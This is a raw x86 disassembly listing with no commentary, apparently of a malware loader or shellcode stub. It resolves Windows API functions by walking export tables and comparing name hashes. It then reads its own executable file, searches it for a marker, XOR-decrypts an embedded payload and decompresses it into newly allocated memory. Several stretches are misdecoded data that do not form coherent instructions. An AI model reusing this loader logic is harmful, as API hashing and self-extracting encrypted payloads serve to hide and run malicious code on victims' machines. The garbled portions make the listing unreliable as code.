movzx eax, word [eax + esi*2]
mov eax, dword [edx + eax*4]
add al, 0x82
mov dword [esp + 0x44], eax
mov eax, dword [esp + 4]
mov eax, dword [eax + 0x1c]
mov dword [esp + 0x10], eax
mov eax, dword [ecx + 0x3c]
mov eax, dword [ecx + eax + 0x78]
mov edx, dword [ecx + eax + 0x20]
add edx, ecx
mov dword [esp + 0xc], edx
mov edx, dword [ecx + eax + 0x1c]
mov dword [esp + 0x14], edx
mov eax, dword [ecx + eax + 0x24]
mov dword [esp + 0x1c], eax
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0xc]
mov edi, dword [eax + esi*4]
add edi, dword [esp + 8]
mov ecx, edi
call fcn.6737a192
test eax, eax
mov ecx, 0
je 0x673791f1
mov ecx, dword [esp + 4]
mov edx, dword [ecx + 0x12c]
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
imul ecx, edx
movsx ebx, byte [edi]
movzx ebx, bx
add ecx, ebx
inc edi
dec eax
jne 0x673791e2
cmp ecx, dword [esp + 0x10]
je 0x673791fa
inc esi
jmp 0x673791b2
mov ecx, dword [esp + 0x18]
add dword [esp + 0x48], ecx
mov eax, dword [esp + 8]
mov edx, dword [esp + 0x14]
add edx, eax
mov edi, dword [esp + 0x1c]
add edi, eax
movzx eax, word [edi + esi*2]
mov eax, dword [edx + eax*4]
mov dword [esp + 0x40], eax
inc eax
mov eax, dword [esp + 4]
mov eax, dword [eax + 0x7c]
mov dword [esp + 0x10], eax
mov eax, dword [ecx + 0x3c]
mov eax, dword [ecx + eax + 0x78]
mov edx, dword [ecx + eax + 0x20]
add edx, ecx
mov dword [esp + 0xc], edx
mov edx, dword [ecx + eax + 0x1c]
mov dword [esp + 0x14], edx
mov eax, dword [ecx + eax + 0x24]
mov dword [esp + 0x1c], eax
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0xc]
mov edi, dword [eax + esi*4]
or al, 0x8b
cmp al, 0xb0
add edi, dword [esp + 0x18]
mov ecx, edi
call fcn.6737a192
test eax, eax
mov ecx, 0
je 0x67379291
mov ecx, dword [esp + 4]
mov edx, dword [ecx + 0x12c]
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
imul ecx, edx
movsx ebx, byte [edi]
movzx ebx, bx
add ecx, ebx
inc edi
dec eax
jne 0x67379282
cmp ecx, dword [esp + 0x10]
je 0x6737929a
inc esi
jmp 0x67379252
mov ecx, dword [esp + 8]
add dword [esp + 0x44], ecx
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
add edx, eax
mov edi, dword [esp + 0x1c]
add edi, eax
movzx eax, word [edi + esi*2]
mov eax, dword [edx + eax*4]
mov dword [esp + 0x20], eax
mov eax, dword [esp + 4]
mov eax, dword [eax + 0x78]
mov dword [esp + 0x10], eax
mov eax, dword [ecx + 0x3c]
mov eax, dword [ecx + eax + 0x78]
mov edx, dword [ecx + eax + 0x20]
adc byte [ebx + 0x448b3c41], cl
add dword [eax - 0x75], edi
push esp
add dword [eax], esp
add edx, ecx
mov dword [esp + 0xc], edx
mov edx, dword [ecx + eax + 0x1c]
mov dword [esp + 0x14], edx
mov eax, dword [ecx + eax + 0x24]
mov dword [esp + 0x1c], eax
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0xc]
mov edi, dword [eax + esi*4]
add edi, dword [esp + 8]
mov ecx, edi
call fcn.6737a192
mov cs, word [esi]
add byte [eax], al
test eax, eax
mov ecx, 0
je 0x67379331
mov ecx, dword [esp + 4]
mov edx, dword [ecx + 0x12c]
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
imul ecx, edx
movsx ebx, byte [edi]
movzx ebx, bx
add ecx, ebx
inc edi
dec eax
jne 0x67379322
cmp ecx, dword [esp + 0x10]
je 0x6737933a
inc esi
jmp 0x673792f2
mov eax, 0x8244c8b
mov ecx, dword [esp + 8]
add dword [esp + 0x40], ecx
mov edx, dword [esp + 0x14]
add edx, ecx
mov eax, dword [esp + 0x1c]
add eax, ecx
movzx eax, word [eax + esi*2]
mov eax, dword [edx + eax*4]
mov dword [esp + 0x60], eax
mov eax, dword [esp + 4]
mov eax, dword [eax + 0x90]
mov dword [esp + 0x10], eax
mov eax, dword [ecx + 0x3c]
mov eax, dword [ecx + eax + 0x78]
mov edx, dword [ecx + eax + 0x20]
add edx, ecx
mov dword [esp + 0xc], edx
mov edx, dword [ecx + eax + 0x1c]
mov dword [esp + 0x14], edx
mov eax, dword [ecx + eax + 0x24]
mov dword [esp + 0x1c], eax
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0xc]
mov edi, dword [eax + esi*4]
add edi, dword [esp + 8]
mov ecx, edi
call fcn.6737a192
test eax, eax
mov ecx, 0
je 0x673793d1
mov ecx, dword [esp + 4]
mov edx, dword [ecx + 0x12c]
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
imul ecx, edx
movsx ebx, byte [edi]
movzx ebx, bx
add ecx, ebx
inc edi
dec eax
jne 0x673793c2
cmp ecx, dword [esp + 0x10]
je 0x673793da
inc esi
jmp 0x67379392
mov eax, dword [esp + 0x20]
add eax, dword [esp + 0x18]
mov dword [esp + 0x20], eax
and al, 0x20
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0x14]
add edx, ecx
mov eax, dword [esp + 0x1c]
add eax, ecx
movzx eax, word [eax + esi*2]
mov eax, dword [edx + eax*4]
mov dword [esp + 0x5c], eax
mov eax, dword [esp + 4]
mov eax, dword [eax + 0x34]
mov dword [esp + 0x10], eax
mov eax, dword [ecx + 0x3c]
mov eax, dword [ecx + eax + 0x78]
mov edx, dword [ecx + eax + 0x20]
add edx, ecx
mov dword [esp + 0xc], edx
mov edx, dword [ecx + eax + 0x1c]
mov dword [esp + 0x14], edx
push esp
add dword [ecx + ecx*4], ebx
push esp
and al, 0x14
mov eax, dword [ecx + eax + 0x24]
mov dword [esp + 0x1c], eax
xor esi, esi
nop
nop
nop
mov eax, dword [esp + 0xc]
mov edi, dword [eax + esi*4]
add edi, dword [esp + 8]
mov ecx, edi
call fcn.6737a192
test eax, eax
mov ecx, 0
je 0x67379471
mov ecx, dword [esp + 4]
mov edx, dword [ecx + 0x12c]
xor ecx, ecx
add byte [ecx], dh
leave
nop
nop
nop
nop
nop
nop
nop
nop
nop
imul ecx, edx
movsx ebx, byte [edi]
movzx ebx, bx
add ecx, ebx
inc edi
dec eax
jne 0x67379462
cmp ecx, dword [esp + 0x10]
je 0x6737947a
inc esi
jmp 0x67379432
mov ecx, dword [esp + 8]
add dword [esp + 0x60], ecx
mov edx, dword [esp + 0x14]
add edx, ecx
mov eax, dword [esp + 0x1c]
add eax, ecx
movzx eax, word [eax + esi*2]
mov eax, dword [edx + eax*4]
mov bh, 4
jo 0x6737941e
add al, 0x82
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 4]
mov eax, dword [eax + 0x30]
mov dword [esp + 0x10], eax
mov eax, dword [ecx + 0x3c]
mov eax, dword [ecx + eax + 0x78]
mov edx, dword [ecx + eax + 0x20]
add edx, ecx
mov dword [esp + 0xc], edx
mov edx, dword [ecx + eax + 0x1c]
mov dword [esp + 0x14], edx
mov eax, dword [ecx + eax + 0x24]
mov dword [esp + 0x54], eax
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0xc]
mov edi, dword [eax + esi*4]
add edi, dword [esp + 8]
mov ecx, edi
call fcn.6737a192
test eax, eax
mov ecx, 0
je 0x67379511
mov ecx, dword [esp + 4]
mov edx, dword [ecx + 0x12c]
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
imul ecx, edx
movsx ebx, byte [edi]
movzx ebx, bx
add ecx, ebx
inc edi
dec eax
jne 0x67379502
cmp ecx, dword [esp + 0x10]
je 0x6737951a
inc esi
jmp 0x673794d2
mov ecx, dword [esp + 8]
add dword [esp + 0x5c], ecx
mov edx, dword [esp + 0x14]
add edx, ecx
mov eax, dword [esp + 0x54]
add eax, ecx
movzx eax, word [eax + esi*2]
mov eax, dword [edx + eax*4]
mov dword [esp + 0x54], eax
mov eax, dword [esp + 4]
inc esp
and al, 4
mov eax, dword [eax + 0x98]
mov dword [esp + 0x10], eax
mov eax, dword [ecx + 0x3c]
mov eax, dword [ecx + eax + 0x78]
mov eax, dword [ecx + eax + 0x20]
add eax, ecx
mov dword [esp + 0xc], eax
xor esi, esi
jmp 0x67379573
xor eax, eax
mov edx, dword [esp + 0x10]
cmp ecx, edx
setne al
add esi, eax
cmp ecx, edx
je 0x673795b3
mov eax, dword [esp + 0xc]
mov edi, dword [eax + esi*4]
add edi, dword [esp + 8]
mov ecx, edi
call fcn.6737a192
test eax, eax
mov ecx, 0
je 0x67379562
mov ecx, dword [esp + 4]
mov edx, dword [ecx + 0x12c]
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
imul ecx, edx
movsx ebx, byte [edi]
movzx ebx, bx
add ecx, ebx
inc edi
dec eax
fld dword [edi + 0x48]
jne 0x673795a2
jmp 0x67379562
mov eax, dword [esp + 0x1c]
add eax, dword [esp + 8]
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 4]
mov eax, dword [eax + 0x5c]
mov dword [esp + 0x10], eax
mov ecx, dword [esp + 0x18]
mov eax, dword [ecx + 0x3c]
mov eax, dword [ecx + eax + 0x78]
mov edx, dword [ecx + eax + 0x20]
add edx, ecx
mov dword [esp + 0xc], edx
mov edx, dword [ecx + eax + 0x1c]
mov dword [esp + 0x14], edx
and al, 0x14
mov eax, dword [ecx + eax + 0x24]
mov dword [esp + 0x50], eax
xor esi, esi
nop
mov eax, dword [esp + 0xc]
mov edi, dword [eax + esi*4]
add edi, dword [esp + 0x18]
mov ecx, edi
call fcn.6737a192
test eax, eax
mov ecx, 0
je 0x67379631
mov ecx, dword [esp + 4]
mov edx, dword [ecx + 0x12c]
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
imul ecx, edx
movsx ebx, byte [edi]
movzx ebx, bx
add ecx, ebx
inc edi
dec eax
jne 0x67379622
cmp ecx, dword [esp + 0x10]
je 0x6737963a
inc esi
jmp 0x673795f2
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
add ecx, eax
mov edx, dword [esp + 0x50]
add edx, eax
movzx eax, word [edx + esi*2]
mov eax, dword [ecx + eax*4]
mov dword [esp + 0x50], eax
push pe_nt_image_headers32
push 0x40
add byte [eax], al
add byte [edx + 0x40], ch
call dword [esp + 0x24]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 4]
mov eax, dword [eax + 0x108]
mov dword [esp + 0x10], eax
mov ecx, dword [esp + 8]
mov eax, dword [ecx + 0x3c]
mov eax, dword [ecx + eax + 0x78]
mov edx, dword [ecx + eax + 0x20]
add edx, ecx
mov dword [esp + 0xc], edx
mov edx, dword [ecx + eax + 0x1c]
mov dword [esp + 0x68], edx
mov eax, dword [ecx + eax + 0x24]
mov dword [esp + 0x64], eax
inc esp
add dword [ecx + ecx*4], esp
inc esp
and al, 0x64
xor ebx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0xc]
mov edi, dword [eax + ebx*4]
add edi, dword [esp + 8]
mov ecx, edi
call fcn.6737a192
test eax, eax
mov ecx, 0
je 0x673796e1
mov ecx, dword [esp + 4]
mov edx, dword [ecx + 0x12c]
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
imul ecx, edx
movsx esi, byte [edi]
movzx esi, si
add ecx, esi
inc edi
dec eax
jne 0x673796d2
cmp ecx, dword [esp + 0x10]
je 0x673796ea
inc ebx
jmp 0x673796a2
mov ecx, dword [esp + 8]
mov eax, dword [esp + 0x64]
add eax, ecx
movzx eax, word [eax + ebx*2]
mov edx, dword [esp + 0x68]
add edx, ecx
mov eax, dword [edx + eax*4]
add eax, ecx
mov edx, dword [esp + 0x14]
mov dword [edx + 0xc], eax
mov dword [edx + 4], ecx
mov eax, dword [esp + 0x2c]
enter 0x548b, 0x24
adc al, 0x89
inc edx
or al, 0x89
dec edx
add al, 0x8b
inc esp
and al, 0x2c
mov dword [edx + 0x68], eax
mov eax, dword [esp + 0x24]
mov dword [edx + 0x44], eax
mov eax, dword [esp + 0x60]
mov dword [edx + 0x34], eax
mov esi, dword [esp + 0x18]
mov dword [edx + 0x78], esi
mov eax, dword [esp + 0x44]
mov dword [edx + 0x50], eax
mov eax, dword [esp + 0x50]
add eax, esi
mov dword [edx + 0x3c], eax
mov eax, dword [esp + 0x1c]
and al, 0x1c
mov dword [edx + 0x64], eax
mov eax, dword [esp + 0x20]
mov dword [edx + 0x4c], eax
mov edi, dword [esp + 0x54]
add edi, ecx
mov eax, dword [esp + 0x48]
mov dword [edx + 0x30], eax
mov eax, dword [esp + 0x5c]
mov dword [edx + 0x6c], eax
mov dword [edx + 0x54], edi
mov eax, dword [esp + 0x40]
mov dword [edx + 0x70], eax
mov eax, dword [esp + 0x4c]
mov dword [edx + 0x24], eax
mov eax, dword [esp + 4]
mov eax, dword [eax + 0x64]
mov dword [esp + 0x10], eax
inc esp
and al, 0x10
mov eax, dword [esi + 0x3c]
mov eax, dword [esi + eax + 0x78]
mov ecx, dword [esi + eax + 0x20]
add ecx, esi
mov dword [esp + 0xc], ecx
mov ecx, dword [esi + eax + 0x1c]
mov dword [esp + 0x20], ecx
mov eax, dword [esi + eax + 0x24]
mov dword [esp + 0x24], eax
xor ebx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0xc]
mov edi, dword [eax + ebx*4]
add edi, dword [esp + 0x18]
mov ecx, edi
call fcn.6737a192
test eax, eax
mov ecx, 0
je 0x673797e1
mov ecx, dword [esp + 4]
mov edx, dword [ecx + 0x12c]
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
imul ecx, edx
movsx esi, byte [edi]
movzx esi, si
add ecx, esi
inc edi
dec eax
jne 0x673797d2
cmp ecx, dword [esp + 0x10]
je 0x673797ea
add eax, dword [ebx - 0x15]
mov eax, 0x1824548b
inc ebx
jmp 0x673797a2
mov edx, dword [esp + 0x18]
mov ecx, dword [esp + 0x20]
add ecx, edx
mov eax, dword [esp + 0x24]
add eax, edx
movzx eax, word [eax + ebx*2]
mov eax, dword [ecx + eax*4]
add eax, edx
mov ecx, dword [esp + 0x14]
mov dword [ecx + 0x58], eax
mov eax, dword [esp + 4]
mov eax, dword [eax + 0x68]
mov dword [esp + 0x10], eax
mov eax, dword [edx + 0x3c]
mov eax, dword [edx + eax + 0x78]
mov ecx, dword [edx + eax + 0x20]
add ecx, edx
mov dword [esp + 0xc], ecx
mov ecx, dword [edx + eax + 0x1c]
mov dword [esp + 0x20], ecx
and byte [ecx], al
ror dword [ecx - 0x74f3dbb4], 1
dec esp
add bl, byte [ecx + ecx*4]
dec esp
and al, 0x20
mov eax, dword [edx + eax + 0x24]
mov dword [esp + 0x24], eax
xor ebx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0xc]
mov edi, dword [eax + ebx*4]
add edi, dword [esp + 0x18]
mov ecx, edi
call fcn.6737a192
test eax, eax
mov ecx, 0
je 0x67379881
add byte [eax], al
add byte [esp - 0x75], dh
dec esp
and al, 4
mov ecx, dword [esp + 4]
mov edx, dword [ecx + 0x12c]
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
imul ecx, edx
movsx esi, byte [edi]
movzx esi, si
add ecx, esi
inc edi
dec eax
jne 0x67379872
cmp ecx, dword [esp + 0x10]
je 0x6737988a
inc ebx
jmp 0x67379842
mov edx, dword [esp + 0x18]
mov ecx, dword [esp + 0x20]
dec esp
and al, 0x20
add ecx, edx
mov eax, dword [esp + 0x24]
add eax, edx
movzx eax, word [eax + ebx*2]
mov eax, dword [ecx + eax*4]
add eax, edx
mov ecx, dword [esp + 0x14]
mov dword [ecx + 0x5c], eax
mov eax, dword [esp + 4]
mov eax, dword [eax + 0xb4]
mov dword [esp + 0x10], eax
mov eax, dword [edx + 0x3c]
mov eax, dword [edx + eax + 0x78]
mov ecx, dword [edx + eax + 0x20]
add ecx, edx
mov dword [esp + 0xc], ecx
mov ecx, dword [edx + eax + 0x1c]
mov dword [esp + 0x20], ecx
or al, 0x8b
dec esp
add bl, byte [ecx + ecx*4]
dec esp
and al, 0x20
mov eax, dword [edx + eax + 0x24]
mov dword [esp + 0x24], eax
xor ebx, ebx
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0xc]
mov edi, dword [eax + ebx*4]
add edi, dword [esp + 0x18]
mov ecx, edi
call fcn.6737a192
test eax, eax
mov ecx, 0
je 0x67379921
mov ecx, dword [esp + 4]
mov edx, dword [ecx + 0x12c]
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
imul ecx, edx
movsx esi, byte [edi]
movzx esi, si
add ecx, esi
inc edi
dec eax
jne 0x67379912
cmp ecx, dword [esp + 0x10]
je 0x6737992a
inc ebx
jmp 0x673798e2
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x24]
add eax, ecx
movzx eax, word [eax + ebx*2]
mov edx, dword [esp + 0x20]
and al, 0x20
add edx, ecx
mov eax, dword [edx + eax*4]
add eax, ecx
mov esi, dword [esp + 0x14]
mov dword [esi + 0x7c], eax
mov eax, dword [esp + 0x1c]
mov dword [esi + 0x64], eax
mov eax, dword [esp + 4]
mov dword [esi + 0x1c], eax
mov byte [esp + 0x2b], 0
mov eax, 0x40000
lea edi, [esp + 0x30]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [esp + 0x30], eax
inc esp
and al, 0x30
test eax, eax
mov ecx, dword [esi + 0x1c]
jne 0x67379980
mov eax, dword [ecx + 0x4c]
push eax
push dword [ecx + 0xf8]
call dword [esi + 0x64]
test eax, eax
je 0x673799d2
mov ebx, eax
mov edx, dword [esp + 0x30]
mov ecx, eax
call fcn.6737a1c2
mov eax, dword [esi + 0x7c]
push edi
push dword [esp + 0x34]
push ebx
push 5
call eax
test eax, eax
je 0x673799b4
mov eax, dword [esp + 0x30]
add eax, eax
jmp 0x67379972
mov eax, dword [esi + 0x1c]
push 0xa1
push dword [eax + 0xf8]
call dword [esi + 0x64]
mov dword [esp + 0x18], eax
cmp dword [ebx], 0
jne 0x67379ab6
cmp byte [esp + 0x2b], 0
je 0x67379a0f
mov ebx, esi
mov esi, 0xe
nop
nop
mov ecx, dword [ebx + 0x4c]
mov dword [esp + 0x18], ecx
mov ecx, edi
mov edx, 8
call fcn.6737a1c2
mov dword [esp + 0x30], 0xfe363c80
mov dword [esp + 0x34], 0xffffffff
push edi
push 0
call dword [esp + 0x20]
dec esi
jne 0x673799e2
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x14]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 4]
mov eax, dword [eax + 0xc8]
or al, 0
add byte [eax], al
mov dword [esp + 0x18], eax
mov ecx, dword [esp + 8]
mov eax, dword [ecx + 0x3c]
mov eax, dword [ecx + eax + 0x78]
mov edx, dword [ecx + eax + 0x20]
add edx, ecx
mov dword [esp + 0x10], edx
mov edx, dword [ecx + eax + 0x1c]
mov dword [esp + 0x20], edx
mov eax, dword [ecx + eax + 0x24]
mov dword [esp + 0x24], eax
xor ebx, ebx
nop
nop
nop
nop
mov eax, dword [esp + 0x10]
mov edi, dword [eax + ebx*4]
cmp al, 0x98
add edi, dword [esp + 8]
mov ecx, edi
call fcn.6737a192
test eax, eax
mov ecx, 0
je 0x67379a91
mov ecx, dword [esp + 4]
mov edx, dword [ecx + 0x12c]
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
imul ecx, edx
movsx esi, byte [edi]
movzx esi, si
add ecx, esi
inc edi
dec eax
jne 0x67379a82
cmp ecx, dword [esp + 0x18]
je 0x67379b8e
inc ebx
jmp 0x67379a52
mov byte [esp + 0x2b], 1
mov eax, dword [ebx]
cmp dword [ebx + eax], 0
lea ebx, [ebx + eax]
je 0x673799d2
cmp dword [ebx + 0x3c], 0
je 0x67379aa7
mov edi, dword [esp + 0x18]
mov ecx, edi
mov edx, 0xa1
call fcn.6737a1c2
mov eax, dword [ebx + 0x3c]
mov ecx, 0xfffffebe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, word [eax + ecx + 0x142]
test dx, dx
je 0x67379afc
mov word [edi + ecx + 0x142], dx
add ecx, 2
jne 0x67379ae2
mov ecx, edi
call fcn.6737a252
pop es
add byte [eax], al
test eax, eax
je 0x67379b32
mov ecx, edi
jmp 0x67379b1b
mov word [ecx], dx
add ecx, 2
dec eax
je 0x67379b32
movzx edx, word [ecx]
lea esi, [edx - 0x41]
cmp si, 0x1a
jae 0x67379b12
add edx, 0x20
jmp 0x67379b12
mov ecx, edi
call fcn.6737a252
test eax, eax
je 0x67379b62
mov ecx, dword [esp + 4]
mov edx, dword [ecx + 0x12c]
xor ecx, ecx
mov esi, edi
nop
nop
nop
nop
nop
nop
nop
imul ecx, edx
movzx edi, word [esi]
add ecx, edi
add esi, 2
dec eax
jne 0x67379b52
jmp 0x67379b64
xor ecx, ecx
mov eax, dword [esp + 4]
cmp ecx, dword [eax + 0x84]
mov esi, dword [esp + 0x14]
and al, 0x14
lea edi, [esp + 0x30]
je 0x67379aa2
mov eax, dword [esp + 4]
cmp ecx, dword [eax + 0xc]
je 0x67379aa2
jmp 0x67379aa7
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0x20]
add edx, ecx
mov eax, dword [esp + 0x24]
add eax, ecx
movzx eax, word [eax + ebx*2]
mov eax, dword [edx + eax*4]
add eax, ecx
mov dword [esp + 0x4c], eax
mov eax, dword [esp + 4]
mov eax, dword [eax + 0x24]
mov dword [esp + 8], eax
mov ecx, dword [esp + 0xc]
mov esi, dword [ecx + eax]
mov ebx, dword [ecx + eax + 4]
push esi
push 0x40
call dword [esp + 0x24]
mov edi, eax
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
lea edx, [eax + ecx + 8]
mov ecx, edi
push esi
call fcn.6737a202
add esp, 4
test esi, esi
je 0x67379bfc
add al, 0x85
div byte [edi + edx + 0x31]
rcl byte [eax - 0x6f6f6f70], 0x90
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [edi + eax], ebx
add eax, 4
cmp eax, esi
jb 0x67379bf2
push 0x20a
push 0x40
call dword [esp + 0x24]
mov esi, eax
movzx eax, byte [edi]
test al, al
je 0x67379c23
xor ecx, ecx
movsx eax, al
mov word [esi + ecx*2], ax
movzx eax, byte [edi + ecx + 1]
inc ecx
test al, al
jne 0x67379c12
push 0x20a
push 0x40
mov ebx, dword [esp + 0x1c]
call dword [ebx + 0x64]
mov edi, eax
push 0x105
push eax
push 0
call dword [ebx + 0x54]
lea eax, [edi - 2]
nop
cmp word [eax + 2], 0
lea eax, [eax + 2]
jne 0x67379c42
nop
nop
nop
nop
nop
nop
mov word [eax], 0
cmp word [eax - 2], 0x5c
lea eax, [eax - 2]
jne 0x67379c52
mov edx, edi
add edx, 0xfffffffe
mov eax, 0xffffffff
nop
nop
nop
nop
nop
nop
nop
inc eax
cmp word [edx + 2], 0
lea edx, [edx + 2]
jne 0x67379c72
xor ecx, ecx
cmp word [edx - 2], 0x5c
je 0x67379c90
mov word [edx], 0x5c
mov ecx, 1
test esi, esi
je 0x67379cc3
movzx ebx, word [esi]
test bx, bx
mov dword [esp + 8], ecx
je 0x67379cc8
lea ecx, [edx + ecx*2]
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx + edx*2], bx
movzx ebx, word [esi + edx*2 + 2]
inc edx
test bx, bx
jne 0x67379cb2
jmp 0x67379cca
inc eax
mov edx, eax
jmp 0x67379cd0
xor edx, edx
add edx, dword [esp + 8]
add edx, eax
mov word [edi + edx*2], 0
push 0
push pe_nt_image_headers32
push 3
push 0
push 1
push 0x80000000
push edi
mov esi, dword [esp + 0x30]
call dword [esi + 0x44]
cmp eax, 0xffffffff
je 0x6737a183
mov edi, eax
push 0
push eax
call dword [esi + 0x6c]
test eax, eax
je 0x67379e89
mov ebx, eax
inc eax
push eax
push 0x40
call dword [esi + 0x64]
mov ecx, eax
push 0
lea eax, [esp + 0x34]
push eax
mov dword [esp + 0x14], ebx
push ebx
mov dword [esp + 0x2c], ecx
push ecx
push edi
call dword [esi + 0x70]
mov ebx, eax
push edi
call dword [esi + 0x68]
test ebx, ebx
je 0x6737a183
add byte [ebx - 0x72fbdb8c], cl
xchg esi, eax
in al, dx
add byte [eax], al
add byte [ebp + 0x6a30244c], cl
add al, 0xe8
mov dh, 4
add byte [eax], al
mov esi, dword [esp + 4]
lea edx, [esi + 0xec]
lea ecx, [esp + 0x30]
push 4
call fcn.6737a202
add esp, 4
lea edx, [esi + 0x13c]
lea ecx, [esp + 0x34]
push 4
call fcn.6737a202
add esp, 4
mov dword [esp + 0x2c], 0
mov dword [esp + 0x24], 0
add byte [eax], al
add byte [eax], al
xor esi, esi
mov eax, dword [esp + 0x20]
mov dword [esp + 8], eax
mov dword [esp + 0x18], 0
mov ecx, dword [esp + 0xc]
mov dword [esp + 0x10], esi
mov esi, dword [esp + 8]
nop
sub eax, esi
lea ecx, [eax + ecx - 8]
cmp ecx, 8
je 0x67379e92
inc esi
add ecx, 0xfffffff7
xor edi, edi
mov edx, esi
lea eax, [esi + edi]
lea eax, [esi + edi]
mov dword [esp + 8], eax
mov ebx, 0xfffffff8
jmp 0x67379dc5
inc ebx
je 0x67379de2
movzx eax, byte [esp + ebx + 0x38]
cmp byte [edx + ebx + 8], al
je 0x67379dc2
cmp al, 0x3f
je 0x67379dc2
inc edx
cmp edi, ecx
lea edi, [edi + 1]
jne 0x67379da9
jmp 0x67379e92
nop
mov eax, dword [esp + 8]
lea edx, [eax + 8]
mov ebx, dword [eax]
mov eax, dword [eax + 8]
bswap ebx
mov ecx, dword [esp + 4]
cmp eax, dword [ecx + 0x70]
mov esi, dword [esp + 0x10]
jne 0x67379e01
test esi, esi
je 0x67379e4b
test esi, esi
je 0x67379e36
mov ecx, dword [esp + 0x18]
lea edi, [ebx + ecx]
cmp edi, dword [esp + 0x24]
ja 0x67379e9f
add ecx, esi
push ebx
call fcn.6737a202
in al, 3
add byte [eax], al
add esp, 4
mov esi, dword [esp + 8]
mov dword [esp + 0x18], edi
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x20]
jmp 0x67379d92
mov dword [esp + 0x10], 0
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x20]
jmp 0x67379d8d
mov eax, dword [esp + 8]
mov eax, dword [eax + 0x10]
add eax, 0x10
mov dword [esp + 0x24], eax
rcl byte [eax], 0x89
inc esp
and al, 0x24
push eax
push 0x40
mov eax, dword [esp + 0x1c]
mov edi, edx
call dword [eax + 0x64]
mov esi, eax
mov ecx, eax
mov edx, edi
push ebx
call fcn.6737a202
add esp, 4
add dword [esp + 0x18], ebx
mov dword [esp + 0x2c], edi
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x20]
jmp 0x67379d89
push edi
call dword [esi + 0x68]
jmp 0x6737a183
push 0x2f1e9
add byte [ebx - 0x7aefdb8c], cl
div byte [ebp + 0x16]
mov esi, dword [esp + 0x10]
test esi, esi
jne 0x67379eb0
jmp 0x6737a183
mov eax, dword [esp + 0x24]
sub eax, ecx
add ecx, esi
push eax
call fcn.6737a202
add esp, 4
add esi, 0x10
mov ecx, dword [esp + 0x2c]
mov eax, dword [ecx + 8]
and eax, 0xfffffffc
je 0x67379edc
mov ecx, dword [ecx + 4]
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [esi + edx], ecx
add edx, 4
cmp edx, eax
jb 0x67379ed2
cmp dword [esp + 0x18], 0
mov edi, dword [esp + 0x14]
je 0x6737a183
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + 8]
mov dword [esp + 8], ecx
mov ebx, dword [eax + 0xc]
push ebx
push 0x40
call dword [edi + 0x64]
mov ecx, eax
mov ecx, eax
mov dword [esp + 0x30], 0
lea eax, [esp + 0x30]
push eax
push dword [esp + 0xc]
push esi
push ebx
mov ebx, ecx
push ecx
push 2
call dword [edi + 0x3c]
test eax, eax
jne 0x6737a183
mov esi, ebx
lea ecx, [ebx + 0x90]
call fcn.6737a192
mov dword [esp + 0x18], 0
add byte [eax], al
test eax, eax
mov ecx, 0
jne 0x67379f48
mov ecx, dword [esi + 0x160]
add ecx, ebx
mov edx, dword [esi + 8]
cmp dword [edx + ecx + 0x12c1], 0
mov dword [esp + 0x2c], esi
mov dword [esp + 0x48], ecx
mov dword [esp + 0x44], edx
je 0x6737a00a
mov dword [esp + 0x40], ebx
mov eax, dword [esp + 4]
mov eax, dword [eax + 0xd8]
sbb al, 0
add byte [eax], al
mov dword [esp + 0x20], eax
lea eax, [edx + ecx + 0x12c1]
mov dword [esp + 0x18], eax
lea eax, [edx + ecx + 0x14bb]
xor esi, esi
mov dword [esp + 0xc], eax
mov dword [esp + 8], eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
imul ecx, esi, 0x8a
mov eax, dword [esp + 0xc]
inc esp
and al, 0xc
mov dword [esp + 0x24], ecx
add ecx, eax
call fcn.6737a192
test eax, eax
mov ecx, 0
je 0x67379fe1
mov ecx, dword [esp + 4]
mov edx, dword [ecx + 0x12c]
xor ecx, ecx
mov edi, dword [esp + 8]
nop
